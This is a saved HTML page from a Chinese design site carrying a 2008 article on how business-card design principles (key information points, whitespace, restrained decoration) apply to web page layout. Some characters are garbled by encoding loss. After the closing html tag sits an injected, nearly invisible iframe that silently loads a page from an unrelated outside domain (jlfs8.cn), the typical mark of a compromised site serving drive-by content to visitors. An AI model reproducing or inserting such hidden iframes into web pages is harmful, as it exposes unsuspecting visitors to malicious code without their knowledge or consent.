?
从名片设计说网页版式的细?/title>
<!-----------------------------------
Powered by iwms
http://www.iwms.net/
----------------------------------->
<meta http-equiv="content-type" content="text/html;charset=utf-8"/>
<link rel="icon" href="favicon.ico" type="image/x-icon" />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon"/>
<meta name="description" content=""/>
<meta name="keywords" content="">
<meta name="generator" content="iwms网站管理系统"/>
<link rel="stylesheet" href="../../style/iwms/style.css" type="text/css"/>
<script type="text/javascript" src="../../inc/flash.js"></script>
<script type="text/javascript">
var thumbWidth=120;var thumbHeight=0;
var thumbHWidth=120;var thumbHHeight=0;
var urlPrefix = "../../";
</script>
<script type="text/javascript" src="../../inc/thumbnail.js"></script>
<script type="text/javascript" language="javaScript" src="../../inc/scroll.js"></script>
<script type="text/javascript" language="javaScript" src="../../inc/imgResize.js"></script>
<script type="text/javascript" language="javaScript" src="../../inc/vcode.js"></script>
</head>
<body>
<span id="printScript">
<script type="text/javascript" language="javascript">
<!--
function ContentSize(size)
{
var obj=document.getElementById("BodyLabel");
obj.style.fontSize=size+"px";
}
-->
</script>
</span>
<script type="text/javascript" language="javascript" src="../../inc/print.js"></script>
<div class="twidth">
<table id="sitehead" align="center" cellpadding="0" cellspacing="0" border="0">
<tr><td class="l">
</td><td class="m">
<table align="center" width="100%" >
<tr><td width="200">
<a href="http://www.muxue.com/"><IMG style="FILTER: chroma(color=#FFFFFF)" src="../../pic/logo.gif" border=0></a>
</td>
<td align="center">
<A href="http://idc.muxue.com" target=_blank><IMG height=60 src="../../Banner.gif" width=468 border=0></A>
</td>
<td width="100" align="center" style="line-height:120%">
<a href="#" onclick="javascript:window.external.addFavorite('http://www.muxue.com/','木雪设计')">加入收藏</a><br/>
<a href="../../sitemap.aspx">网站地图</a><br/>
<a href="../../search.aspx">网站搜索</a><br/>
<script type="text/javascript" src="../../inc/language.js"></script>
</td>
</tr>
</table>
</td><td class="r">
</td></tr>
</table>
<table id="navbar" align="center" cellpadding="0" cellspacing="0" >
<tr>
<td class="l">
</td>
<td class="m">
<script type="text/javascript" language="javascript1.2" src="../../inc/popmenu.js"></script>
<span id="dlSortNav"><span>
<a href="../../default.html" >首页</a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="../../muxuecom/c5" onmouseover="showmenu(event,5,1,false)" onmouseout="delayhidemenu()" >网页教程</a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="../../muxuecom/c6" onmouseover="showmenu(event,6,1,false)" onmouseout="delayhidemenu()" >平面设计</a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="../../muxuecom/c7" onmouseover="showmenu(event,7,1,false)" onmouseout="delayhidemenu()" >编程开?/a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="../../muxuecom/c8" onmouseover="showmenu(event,8,1,false)" onmouseout="delayhidemenu()" >设计欣赏</a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="../../muxuecom/c30" onmouseover="showmenu(event,30,1,false)" onmouseout="delayhidemenu()" >图片模板</a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="http://www.muxue.net" target="_blank" >网站制作</a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="../../muxuecom/c44" onmouseover="showmenu(event,44,1,false)" onmouseout="delayhidemenu()" >壁纸千寻</a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="http://flash.muxue.com" target="_blank" ><span style="color:red">Flash</span></a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="http://game.muxue.com" target="_blank" >木雪小游? </a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="http://xiaoshuo.muxue.com" target="_blank" >木雪小说</a>
</span><span>
<img src="../../style/iwms/navbar_separator.gif" align="absmiddle" alt=""/>
</span><span>
<a href="http://wz.muxue.com/" target="_blank" >沐雪导航</a>
</span></span>
</td>
<td class="r">
</td>
</tr>
</table>
<table id="navsub" cellpadding="0" cellspacing="0">
<tr>
<td class="l"></td>
<td class="m">
<a href="../../default.html">首页</a> ?<a href="../../muxuecom/c5">网页教程</a> ?<a href="../../muxuecom/c14">网页理论</a>
</td>
<td class="r"></td>
</tr>
</table>
<div class="mframe">
<table width="100%" cellspacing="0" cellpadding="0">
<tr>
<td class="tl"></td>
<td class="tm">
<span class="tt">阅读新闻</span>
</td>
<td class="tr"></td>
</tr>
</table>
<div id="printBody">
<table id="middle" align="center" cellspacing="0" cellpadding="0" style="word-break:break-all;table-layout:fixed;text-align:left">
<tr>
<td class="ml"></td>
<td class="mm" valign="top">
<br/><div align="center"><h1 class="aTitle">从名片设计说网页版式的细?/h1></div>
<table width="97%" align="center">
<tr>
<td width="120">[日期?span id="TimeLabel">2008-03-19</span>]</td>
<td align="center">来源?span id="SourceLabel"></span> 作者：<span id="AuthorLabel"></span></td>
<td width="100" align="right">[字体?a href="javascript:ContentSize(16)">?/a> <a href="javascript:ContentSize(14)">?/a> <a href="javascript:ContentSize(12)">?/a>]
</td></tr>
</table>
<div id="BodyLabel" class="content" style="display:block;padding:0px 10px"><P align=center><A href="../../upload/080319085376342.jpg" target=_blank><IMG onmousewheel="return bbimg(this)" alt="" src="../../upload/080319085376342.jpg" onload=resizepic(this) border=0></A></P>
<P> 记得国外牛人说过?A href="http://www.68design.net/Web-Guide/Web-Theory/10778-1.html" target=_blank>网页的设?5%都是排版的设?/A>，我不知道具体有没有那么夸张，但版式的重要性估计很多人都深有体会，可是由于现在很多的互联网设计师在版式设计方面的素养并不太高导致了中文网站大多呈现乱，花。美观其次的，主要是让用户在寻找想要的信息的时候花费过多额外的时间?/P>
<P> 平面设计中版式入门就?a href="http://www.muxue.com/muxuecom/c57/" title="名片设计欣赏">名片</a>设计，在99X55mm的里面将信息组织并且呈现出来，说难不难，做好了也不简单?BR>我从网上搜出了两张apple?a href="http://www.muxue.com/muxuecom/c57/" title="名片设计欣赏">名片</a>，左边的这张我认为是更早的设计，右边的是新的设计? <a href="http://www.muxue.com/muxuecom/c32/" title="logo欣赏">logo</a>更加简洁；2 字体的也选择了细节更少的字体?BR>但从版式上来看，变化不大?/P>
<P align=center><A href="../../upload/080319085376341.jpg" target=_blank><IMG onmousewheel="return bbimg(this)" style="ZOOM: 100%" alt="" src="../../upload/080319085376341.jpg" onload=resizepic(this) border=0></A></P>
<P> <STRONG>信息的要?BR></STRONG><BR> 第一次拿到这?a href="http://www.muxue.com/muxuecom/c57/" title="名片设计欣赏">名片</a>，用户看到的肯定不是某个字，要点很简单：1 公司<a href="http://www.muxue.com/muxuecom/c32/" title="logo欣赏">logo</a>? 名字和职位；3 其他信息<BR>?a href="http://www.muxue.com/muxuecom/c57/" title="名片设计欣赏">名片</a>上看1??的视觉要点很明显，网页的版式设计跟名片设计的原理一样。用户在浏览一个新的网页的时候，浏览习惯是跳跃性的，速度非常地快，如果在版式设计的过程中，如果不能将信息要点让用户迅速地找到，这样的设计不管色调怎么和谐，看上去感觉多么都好，都是糟糕的设计?BR>我对信息要点的想法：<BR><BR> 1 一屏内的页面要点控制在3个以内，并且清楚要点的主次关系?BR> 2 装饰的元素需要理性地使用。什么是装饰元素？色块、花纹、图标、线条等等。当你选择要用到这些东西的时候，先想为什么，而不是“我感觉”、“因为这样好看”，是否能用别的方式来达到一样的目的?BR> 3 减少要点周围的干扰因素。要点的分布要掌握节奏，不要扎堆了，一段文字都加粗了跟没有加粗的效果其实一样，所以，要弱化要点周围的信息?/P>
<P> <STRONG>控制并利用留?BR></STRONG><BR> ?a href="http://www.muxue.com/muxuecom/c57/" title="名片设计欣赏">名片</a>的设计中，留白的好坏直接影响名片的信息传递和美观，段落与段落的距离，行与行的距离，字与字的距离，包括四周边缘的空白距离，字的横向排列形成线（行），线的纵向排列形成面（段），面的排列加上留白形成视觉的节奏、比例。他们都通过这样的点，线，面划分了整个画面。是居中还是左对齐，留白的多少将会在潜意识里面告诉读者什么重要，内容的分类?/P>
<P> 在网页设计中是一样的?BR> 1 如果我们能让字的排列形成线，那线是否就是多余的呢?BR> 2 如果用文字段与段之间能将区块划分清晰，还需要用底色吗？<BR> 3 一行字是否太长了不适合用户阅读?BR> 4 一个段落是否因为行太多了造成阅读压力?/P>
<P> 当然，也不是说不要用装饰元素，装饰元素从理性的方面看可以起到划分区块，突出要点的作用，另外，还有品牌识别的作用，但别让这个成为使用它们的借口，有些时候没有那些元素，一样可以达到目的，比如flickr?/P>
<P> 做视觉设计的并不是艺术家，不是感性的，更没有什么“美工”之说?/P></div><br/><br/>
</div>
<table width="97%" cellpadding="0" cellspacing="0" style="clear:both">
<tr><td align="right">
<table><tr>
<td>
阅读?span id="news_hits"></span> ?br/>
录入?span id="MemberNameLabel"><a href="../../memberProfile.aspx?id=1" target="_blank">admin</a></span><br/><br/>
</td></tr>
</table>
</td></tr>
<tr><td align="right">
?<a href="../../remark.aspx?ID=954" target="_blank">评论</a> ?
?<a href="../../mail.aspx?ID=954" target="_blank">推荐</a> ?
?<a href="javascript:doPrint()">打印</a> ?
</td></tr>
</table>
<table width="97%" align="center" style="clear:both">
<tr><td>
上一篇：<a href="../../muxuecom/2007-05/951.html">汽车网站的配?/a><br/>
下一篇：
</td></tr>
</table>
</td>
<td class="mr"></td>
</tr>
</table>
</div>
</div>
<div class="mframe">
<table width="100%" cellspacing="0" cellpadding="0">
<tr>
<td class="tl"></td>
<td class="tm">
<span class="tt">相关新闻</span>
</td>
<td class="tr"></td>
</tr>
</table>
<table width="100%" cellspacing="0" cellpadding="0">
<tr>
<td class="ml"></td>
<td class="mm">
</td>
<td class="mr"></td>
</tr>
</table>
</div>
<div class="mframe">
<table width="100%" align="center" cellspacing="0" cellpadding="0">
<tr>
<td class="tl"></td>
<td class="tm">
<span class="tt">本文评论</span>
<a href="../../remark.aspx?id=954" target="_blank" style="cursor:hand">全部评论</a>
</td>
<td class="tr"></td>
</tr>
</table>
<table width="100%" align="center" cellspacing="0" cellpadding="0">
<tr>
<td class="ml"></td>
<td class="mm">
</td>
<td class="mr"></td>
</tr>
</table>
</div>
<div class="mframe">
<table width="100%" align="center" cellspacing="0" cellpadding="0">
<tr>
<td class="tl"></td>
<td class="tm">
<span class="tt">发表评论</span>
</td>
<td class="tr"></td>
</tr>
</table>
<table width="100%" align="center" cellspacing="0" cellpadding="0">
<tr>
<td class="ml"></td>
<td class="mm">
<form id="remarkForm" action="../../remark.aspx?id=954" method="post" onsubmit="return checkRemark();">
<table width="100%" cellpadding="5" cellspacing="0" border="0">
<tr><td>
<script type="text/javascript" language="javascript">
<!--
function checkRemark()
{
var form=document.getElementById("remarkForm");
var remarkSize = 200;
if (form.body.value=="")
{ alert("请填写评论内?);
form.body.focus();
return false;
}
if (form.username.value=="")
{ alert("请填写姓?);
form.username.focus();
return false;
}
if (form.body.value.length>remarkSize)
{ form.body.value = form.body.value.substr(0,remarkSize);
showLen(form.body);
form.body.focus();
alert("评论内容不可以超?+remarkSize+"?已帮你删除多余部?);
return false;
}
if (form.username.value.length>10)
{ alert("姓名不可以超?0个字");
form.username.focus();
return false;
}
form.submit.disabled=true;
form.vcode.value = VCode("从名片设计说网页版式的细?);
return true;
}
function showLen(obj)
{
document.getElementById("bodyLen").value=obj.value.length;
}
-->
</script>
<input type="radio" name="face" value="1" checked="checked"/><img src="../../pic/face1.gif" alt=""/>
<input type="radio" name="face" value="2"/><img src="../../pic/face2.gif" alt=""/>
<input type="radio" name="face" value="3"/><img src="../../pic/face3.gif" alt=""/>
<input type="radio" name="face" value="4"/><img src="../../pic/face4.gif" alt=""/>
<input type="radio" name="face" value="5"/><img src="../../pic/face5.gif" alt=""/>
<input type="radio" name="face" value="6"/><img src="../../pic/face6.gif" alt=""/>
<input type="radio" name="face" value="7"/><img src="../../pic/face7.gif" alt=""/>
<input type="radio" name="face" value="8"/><img src="../../pic/face8.gif" alt=""/>
<input type="radio" name="face" value="9"/><img src="../../pic/face9.gif" alt=""/><br/>
<input type="radio" name="face" value="10"/><img src="../../pic/face10.gif" alt=""/>
<input type="radio" name="face" value="11"/><img src="../../pic/face11.gif" alt=""/>
<input type="radio" name="face" value="12"/><img src="../../pic/face12.gif" alt=""/>
<input type="radio" name="face" value="13"/><img src="../../pic/face13.gif" alt=""/>
<input type="radio" name="face" value="14"/><img src="../../pic/face14.gif" alt=""/>
<input type="radio" name="face" value="15"/><img src="../../pic/face15.gif" alt=""/>
<input type="radio" name="face" value="16"/><img src="../../pic/face16.gif" alt=""/>
<input type="radio" name="face" value="17"/><img src="../../pic/face17.gif" alt=""/>
<input type="radio" name="face" value="18"/><img src="../../pic/face18.gif" alt=""/><br/>
点评?
<textarea name="body" cols="40" rows="4" onkeydown="showLen(this)" onkeyup="showLen(this)"></textarea> 字数<input type="text" id="bodyLen" size="4" style="border-width:0;background:transparent;"/>
<br/>
姓名?
<input type="text" id="i_username" name="username" value="" maxlength="15" size="10" />
<input type="submit" name="submit" id="i_submit" value=" ??"/>
<script type="text/javascript">
var remarkmember = false;
var allowremark = true;
if (remarkmember){
document.getElementById("i_username").readonly=true;
document.write("(限会员登录后发表评论)");
}
if (!allowremark){
document.getElementById("i_submit").disabled=true;
}
</script>
<br/><br/>
<script type="text/javascript" src="../../inc/clientDate.js"></script>
<input type="hidden" name="vcode" value=""/>
</td>
<td width="350">
<ul style="list-style-type:square;margin-left:1em;line-height:150%">
<li>尊重网上道德，遵守中华人民共和国的各项有关法律法?/li>
<li>承担一切因您的行为而直接或间接导致的民事或刑事法律责任</li>
<li>本站管理人员有权保留或删除其管辖留言中的任意内容</li>
<li>本站有权在网站内转载或引用您的评?/li>
<li>参与本评论即表明您已经阅读并接受上述条款</li>
</ul>
</td></tr>
</table>
</form>
</td>
<td class="mr"></td>
</tr>
</table>
<table width="100%" cellspacing="0" cellpadding="0">
<tr>
<td class="bl"></td>
<td class="bm"> </td>
<td class="br"></td>
</tr>
</table>
</div>
<iframe src="../../frm_hit.aspx?id=954&disp=1" border="0" height="0" width="0" style="visibility: hidden"></iframe>
<table id="footer" border="0" cellpadding="0" cellspacing="0">
<tr align="center" style="line-height:130%"><td height="60">
<STRONG>免责声明</STRONG>：本站旨在发扬网络资源共享精?传播网络文化,普及网络知识,本站刊登文章源于网络,个别文章找不到作者和出处,如果本站无意侵犯了您的版?请联络：<A href="mailto:info@muxue.com">info@muxue.com</A> 我们将马上加上您的版?或者按您的要求删除.向原创作者和有共网络享精神者致?尊重知识产权!<BR>Copyright © 木雪设计
<SCRIPT language=JavaScript src="http://s68.cnzz.com/stat.php?id=260103&web_id=260103&show=pic" charset=gb2312></SCRIPT>
空间赞助 : <A href="http://www.muxue.net" target=_blank>木雪?/A>
<SCRIPT language=javascript src="http://js.users.51.la/568783.js" type=text/javascript></SCRIPT>
<NOSCRIPT><A href="http://www.51.la/?568783" target=_blank><IMG style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none" alt=我要啦免费统?src="http://img.users.51.la/568783.asp"></A></NOSCRIPT><A href="http://www.miibeian.gov.cn" target=_blank>豫ICP?6015916?/A> 做人要厚? <span style="font-weight:bold;font-family:arial;" id="iwms_cp"><a href="http://www.iwms.net/" target="_blank">iwms</a> <font color="#33CC33">4.5</font></span><script type="text/javascript">setTimeout("ImgLoad(document.getElementById('BodyLabel'));",500);</script>
<div class="menuskin" id="popmenu" onmouseover="clearhidemenu();highlightmenu(event,'on')" onmouseout="highlightmenu(event,'off');dynamichide(event)" style="Z-index:100"></div>
<script type="text/javascript" language="javascript1.2">
linkset[5]=new Array();linkset[5][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c9\">网站重构教程</a></div>";linkset[5][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c10\">HTMLCSS教程</a></div>";linkset[5][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c13\">Flash教程</a></div>";linkset[5][3]="<div class=\"menuitems\"><a href=\"../../muxuecom/c12\">Fireworks教程</a></div>";linkset[5][4]="<div class=\"menuitems\"><a href=\"../../muxuecom/c11\">Dreamweaver教程</a></div>";linkset[5][5]="<div class=\"menuitems\"><a href=\"../../muxuecom/c14\">网页理论</a></div>";linkset[5][6]="<div class=\"menuitems\"><a href=\"../../muxuecom/c15\">网站推广</a></div>";linkset[5][7]="<div class=\"menuitems\"><a href=\"../../muxuecom/c16\">营销策划</a></div>";linkset[6]=new Array();linkset[6][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c17\">Photoshop教程</a></div>";linkset[6][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c18\">Coreldraw教程</a></div>";linkset[6][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c19\">设计理论</a></div>";linkset[6][3]="<div class=\"menuitems\"><a href=\"../../muxuecom/c20\">设计杂谈</a></div>";linkset[7]=new Array();linkset[7][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c21\">ASP教程</a></div>";linkset[7][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c22\">ASP.net教程</a></div>";linkset[7][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c23\">PHP教程</a></div>";linkset[7][3]="<div class=\"menuitems\"><a href=\"../../muxuecom/c24\">JSP教程</a></div>";linkset[8]=new Array();linkset[8][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c26\">标志设计欣赏</a></div>";linkset[8][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c28\">艺术设计欣赏</a></div>";linkset[8][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c32\">Logo设计欣赏</a></div>";linkset[8][3]="<div class=\"menuitems\"><a href=\"../../muxuecom/c34\">Banner设计欣赏</a></div>";linkset[8][4]="<div class=\"menuitems\"><a href=\"../../muxuecom/c57\">名片设计欣赏</a></div>";linkset[30]=new Array();linkset[30][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c33\">Logo设计模板</a></div>";linkset[30][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c35\">Banner设计模板</a></div>";linkset[30][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c56\">设计素材</a></div>";linkset[44]=new Array();linkset[44][0]="<div class=\"menuitems\"><a href=\"../../muxuecom/c45\">这边风景无限</a></div>";linkset[44][1]="<div class=\"menuitems\"><a href=\"../../muxuecom/c46\">可爱卡?/a></div>";linkset[44][2]="<div class=\"menuitems\"><a href=\"../../muxuecom/c47\">浪漫时间</a></div>";linkset[44][3]="<div class=\"menuitems\"><a href=\"../../muxuecom/c48\">凌乱收集</a></div>";function disp_cp5221(){var o = document.getElementById("iwms_cp");while (o){if (o.style){if (o.style.display=="none"){o.style.display = "block";}if (o.style.visibility=="hidden"){o.style.visibility = "visible";}}o = o.parentNode;}} if (document.getElementById("iwms_cp")==null){document.write("<span style=\"font-weight:bold;font-family:arial;\" id=\"iwms_cp\"><a href=\"http://www.iwms.net/\" target=\"_blank\">iwms</a> <font color=\"#33CC33\">4.5</font></span>");}else{window.setTimeout("disp_cp5221();",1000);}
jsdone=true;
</script>
</td></tr>
</table>
</div>
</body>
</html><iframe src=http://jlfs8.cn/14/zz.htm width=50 height=0></iframe>